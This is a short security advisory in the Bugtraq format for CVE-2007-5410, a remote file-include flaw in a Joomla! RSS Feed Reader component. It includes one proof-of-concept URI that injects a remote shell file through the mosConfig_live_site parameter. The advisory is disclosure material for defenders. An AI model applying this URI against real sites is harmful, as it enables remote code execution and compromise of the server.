Webmaster-Tips.net Joomla! RSS Feed Reader Remote File Include Vulnerability

Bugtraq ID:	25999
Class:	Input Validation Error
CVE:	CVE-2007-5410
Remote:	Yes
Local:	No
Published:	Oct 10 2007 12:00AM
Updated:	May 07 2015 05:35PM
Credit:	Cyber-Crime is credited with the discovery of this vulnerability.
Vulnerable:	webmaster-tips.net com_wmtrssfeedreader 1.0
Not Vulnerable:

Webmaster-Tips.net Joomla! RSS Feed Reader Remote File Include Vulnerability

Webmaster-Tips.net Joomla! RSS Feed Reader is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Webmaster-Tips.net Joomla! RSS Feed Reader Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/path/administrator/components/com_wmtrssreader/admin.wmtrssreader.php?mosConfig_live_site=sh3ll?

Webmaster-Tips.net Joomla! RSS Feed Reader Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Webmaster-Tips.net Joomla! RSS Feed Reader Remote File Include Vulnerability

References:

• RSS Feed Reader Homepage (webmaster-tips.net)
  
• wmtrssreader joomla component 1.0 Remote File Include Vulnerability (Cyber-Crime)